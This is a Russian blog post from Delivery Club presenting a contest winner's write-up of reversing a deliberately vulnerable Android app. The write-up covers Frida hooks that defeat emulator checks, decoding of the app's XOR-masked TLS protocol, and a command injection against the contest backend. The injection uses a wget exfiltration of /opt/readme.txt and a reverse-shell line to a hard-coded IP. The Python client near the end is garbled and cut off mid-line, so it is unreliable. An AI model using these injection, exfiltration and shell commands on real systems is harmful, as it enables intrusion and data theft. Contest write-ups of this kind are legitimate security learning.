Реверс уязвимого приложения от Delivery Club: результаты конкурса
Привет! Меня зовут Илья Сафронов, я руковожу направлением информационной безопасности Delivery Club. Третьего дня мы запустили конкурс по реверсу и поиску уязвимости в тестовом Android-приложении. Целью было выполнение кода на бэкенде (RCE). За время конкурса APK скачали более 400 раз, а сломали всего два раза, Hall of Fame можно посмотреть на странице скачивания.
Теперь настало время рассказать, в чём заключалась задача и как её решать. Один из победителей — @D3fl4t3 — прислал нам отличный отчёт, его мы и представляем вашему вниманию.
Первичный осмотр
Перед нами Android-приложение. При запуске в эмуляторе предлагается нажать на кнопку, но при нажатии приложение вылетает. Внутри Java-части приложения тоже ничего интересного: кнопка вызывает нативный метод collectMetrics
и в зависимости от возвращаемого значения выводит одно из двух сообщений.
Нативная библиотека
Библиотека хорошо обфусцирована техниками Control Flow Flattening, Opaque Predicate и многими другими. Идём в JNI_OnLoad
, сразу проставляем тип JNIEnv
* везде, где есть indirect call'ы
. Из интересного там есть только RegisterNatives, поэтому идём сразу в collectMetrics
. Очевидно, что там должны быть проверки на эмулятор, но где же они?
Ищем проверки окружения
Да, определённо это какие-то проверки на эмулятор. Так как из кода ничего не понятно, а писать деобфускатор пока что не хочется, набрасываем первый вариант скрипта для DBI-фреймворка Frida:
var hooked = false;
Java.perform(function() {
let MainActivity_a = Java.use("com.example.dc_challenge.MainActivity$a");
MainActivity_a.onClick.implementation = function (view) {
if (!hooked) {
disarmBuildChecks();
hooked = true;
}
this.onClick(view);
}
});
function disarmBuildChecks() {
var config = {
BOARD: "prada",
BOOTLOADER: "unknown",
BRAND: "Xiaomi",
DEVICE: "prada",
DISPLAY: "MMB29M",
FINGERPRINT: "Xiaomi/prada/prada:6.0.1/MMB29M/v8.0.3.0.0.MCECNDG:user/release-keys",
HARDWARE: "qcom",
HOST: "c3-miui-ota-bd20",
ID: "MMB29M",
MANUFACTURER: "Xiaomi",
MODEL: "Redmi 4",
PRODUCT: "prada",
RADIO: "unknown",
SERIAL: "17fc681d",
TAGS: "release-keys",
TIME: 1476359370000,
TYPE: "user",
USER: "builder",
};
var Build = Java.use('android.os.Build');
Object.keys(config).map(function (key) {
Build[key].value = config[key];
});
}
Пробуем нажать кнопку под фридой — и снова падение. Определённо, проверками build
-параметров приложение не ограничивается. Копаем дальше.
В списке импортов ну очень много разных функций, и наиболее интересными видятся функции работы со строками. Возможно, какие-то из них используются для проверок окружения.
Пишем вспомогательную функцию для быстрой трассировки функций работы со строками:
function hook(name, count) {
Interceptor.attach(Module.findExportByName(«libc.so», name), {
onEnter: function(args) {
let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]);
let arg = [];
for (var i = 0; i < count; i++){
try {
arg.push(Memory.readCString(args[i]));
} catch (e) {}
}
if (bt.moduleName.indexOf(«libchallenge.so») !== -1) {
console.log(name + '(»' + arg.join('», «') + '») ' + bt);
}
}
});
}
И трейсим всё, что нашли в импортах:
function makeHooks() {
hook(«strcmp», 2);
hook(«strncmp», 2);
hook(«strncpy», 2);
hook(«strcat», 2);
hook(«strchr», 1);
hook(«strcspn», 2);
hook(«strcpy», 2);
hook(«strlen», 1);
hook(«strcasecmp», 2);
hook(«snprintf», 8);
hook(«strdup», 1);
hook(«strncasecmp», 2);
hook(«strrchr», 1);
hook(«strspn», 2);
hook(«strstr», 2);
hook(«strtol», 1);
hook(«strtoul», 1);
}
Функция sprintf
, судя по всему, используется для форматирования пути к файлам в папке /proc/self/fd:
snprintf("", "/proc/self/fd/%s", ".", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5
snprintf("", "/proc/self/fd/%s", "..", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5
snprintf("", "/proc/self/fd/%s", "0", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5
snprintf("", "/proc/self/fd/%s", "1", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5
snprintf("", "/proc/self/fd/%s", "2", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5
Могут ли эти файлы компрометировать наш эмулятор? Давайте посмотрим:
generic_x86_64:/ # ls -la /proc/$(pidof
com.example.dc_challenge)/fd
total 0
dr-x------ 2 u0_a130 u0_a130 0 2021-10-16 16:59 .
dr-xr-xr-x 9 u0_a130 u0_a130 0 2021-10-16 16:59 ..
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 0 -> /dev/null
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 1 -> /dev/null
lr-x------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 10 -> /apex/com.android.art/javalib/bouncycastle.jar
...
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 62 -> /dev/goldfish_pipe
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 63 -> /dev/goldfish_sync
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 65 -> /dev/goldfish_pipe
Определённо, файлы с названием «goldfish» относятся к эмулятору, так что нативная библиотека может находить их и крашить приложение. Возиться с хуком snprintf
не очень хочется, поэтому сходим на адрес 0x96ee5
в IDA Pro и посмотрим, что ещё можно хукнуть.
Функция lstat
выглядит отличным кандидатом на хук:
function disarmGoldfishCheck() {
Interceptor.attach(Module.findExportByName(«libc.so», «lstat»), {
onEnter: function (args) {
let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]);
if (bt.moduleName.indexOf(«libchallenge.so») !== -1) {
let filename = Memory.readCString(args[0]);
console.log(«lstat(» + filename + «)»);
if (filename.indexOf(»/proc/self/fd») !== -1) {
args[0].writeU8(0);
}
}
}
});
}
После этого всё наконец-то стало работать, и кнопка при нажатии говорит, что мы всё делаем правильно.
Протокол
В описании задания явно подразумевается, что есть некий бэкенд, с которым общается приложение. Огромное количество функций из OpenSSL намекает, что это происходит также в нативной библиотеке. Просматривая имена один за одним, мой взгляд упал на SSL_write
. Исходя из названия, эта функция позволяет что-то писать по TLS, при этом она используется в какой-то функции 0x92a70
(все адреса приведены для архитектуры x86_64). Эта функция делает совсем немного работы, суть которой ясна даже с обфусцированным Control Flow: она подключается к серверу, отправляет payload по TLS и отключается.
Дальше делаем всё то же самое, что и всегда: пишем хук и смотрим, как эта функция вызывается.
function toHexString(addr, length) {
let result = '';
for (var i = 0; i < length; i++) {
result += ('0' + (addr.add(i).readU8() & 0xFF).toString(16)).slice(-2);
}
return result;
}
function makeTlsHook() {
Interceptor.attach(Module.findBaseAddress(«libchallenge.so»).add(0x92a70), {
onEnter: function(args) {
console.log(toHexString(args[0], uint64(args[1].toString())));
}
})
}
Можно использовать встроенный hexdump, но будет проблематично потом перегонять его вывод в Python.
Вывод, уже частично раздекоженный Python«ом:
b'TRYHRDER\n\x00\xa3\x00\x00\x00\x00\x00\xe2;+^\xea;;^\x82;&^\x87;%^\x89;&^\xb2;%^\xb4;+^\xbc;+^\xa4;%^\xae;(^U;7^I;+^S
Хотелось, конечно, сразу увидеть читаемый текст, однако в протоколе используется шифрование, поэтому следующим шагом нам нужно будет его расковырять.
Шифрование
Во-первых, возьмём сразу несколько payload«ов и сравним их между собой. Сразу становится понятно, что незашифрованный заголовок занимает первые 16 байт сообщения.
Во-вторых, если применить метод пристального взгляда, в шифротексте вырисовываются паттерны:
54525948524445520a00a30000000000 # заголовок (16 байт)
e23b2b5e
ea3b3b5e
823b265e
873b255e
893b265e
b23b255e
b43b2b5e
bc3b2b5e
a43b255e
ae3b285e
553b375e
493b2b5e
533c483fd23b235eb1544e70b7434233a2574670b6587c3dba5a4f32b755443ba249423ab3634a3fbd564a2ea05a473f9f76616ceb76713bb6564a7ee70d713bb6564a7ee70d5b66e464156ab65a573bf219087b9c1923332eaa69731ea96d75ef019fdd5e67a31536d203dcd550425ed23b23d23b235e
Интуиция подсказывает, что в протоколе есть 32-битные поля в little endian, которые XORятся каким-то неприлично маленьким ключом размером не более 4 байт (последние »5e» в каждой строке — это старшие байты незначительно отличающихся друг от друга чисел).
На этом моменте, в принципе, можно было уже подобрать ключ просто по шифротексту, однако я вспомнил, что в collectMetrics
используется функция arc4random_buf
, которая, скорее всего, и генерирует этот 4-байтный случайный ключ. Наверное, вы уже догадываетесь, к чему всё идёт.
function randHook() {
Interceptor.attach(Module.findExportByName(«libc.so», «arc4random_buf»), {
onEnter: function (args) {
this.buf = args[0];
let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]);
if (bt.moduleName.indexOf(«libchallenge.so») !== -1) {
console.log(«arc4random_buf « + args[0] + « « + args[1] + « « + bt)
}
},
onLeave: function (ret) {
let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]);
if (bt.moduleName.indexOf(«libchallenge.so») !== -1) {
this.buf.writeU32(0);
}
}
});
}
Так как ключ нулевой, шифротекст теперь совпадает с открытым текстом и читать его намного приятнее:
b'TRYHRDER\n\x00\xa1\x00\x00\x00\x00\x000\x00\x08\x008\x00\x18\x00P\x00\x05\x00U\x00\x06\x00[\x00\x05\x00`\x00\x06\x00f\x00\x07\x00m\x00\x07\x00t\x00\x06\x00z\x00\x0b\x00\x85\x00\x14\x00\x99\x00\x08\x00i\xd3ja\x00\x00\x00\x00com.example.dc_challengepradaXiaomipradaMMB29MRedmi 4Redmi 4x86_64date "+%N"\x00m\xfc\x91J-\xcc\x92N+=:\xbc\x83\x8c\\\x80K\xe4\xe9 j\xd3ja\x00\x00\x00\x00\x00\x00\x00\x00'
Что мы имеем в итоге:
16-байтный заголовок.
12 пар чисел типа short, содержащих смещения и длины хранимых строк.
Сами строки без разделителей.
Пишем свой клиент
В результате многочисленных экспериментов я выяснил, что передаётся в сообщении:
Имя пакета приложения.
Некоторые поля из
android.os.Build
.Архитектура.
Строка date
"+%N»\\x00
.Какое-то статичное 20-байтное значение, скорее всего, хеш сертификата для проверки, было ли приложение пропатчено и перепаковано.
Время начала и конца формирования сообщения (в формате Unix Timestamp с точностью до секунд).
Дальше всё проще некуда: заменяем строку с «date» на wget --post-data "$(cat /opt/readme.txt)" ...
и получаем флаг.
#!/usr/bin/env python3
import struct, ssl, socket, time
def xor(a, b):
return bytes([x^y for x, y in zip(bytearray(a),
bytearray(b))])
def dump_buffer(buffer):
print(buffer[:16])
key = buffer[-4:]
buffer = buffer[:16] + xor(buffer[16:], key * 1000)
numbers = []
for i in range(16, 64, 4):
numbers.append((struct.unpack('& /dev/tcp/130.61.246.58/1337 0>&1',
b'm\xfc\x91J-\xcc\x92N+=:\xbc\x83\x8c\\x80K\xe4\xe9 ',
struct.pack("
Вывод
По результатам конкурса мы увидели, что подобные задачи вызывают интерес. Сложность именно этой была выше среднего, в следующий раз мы это учтём и пересмотрим формат, чтобы он был ближе большему числу людей. И ещё добавим новых призов. Чтобы не пропустить наши новые посты, подписывайтесь на блог. А за то, что вы такие молодцы и дочитали до конца, закажите себе кофе навынос через приложение Delivery Club.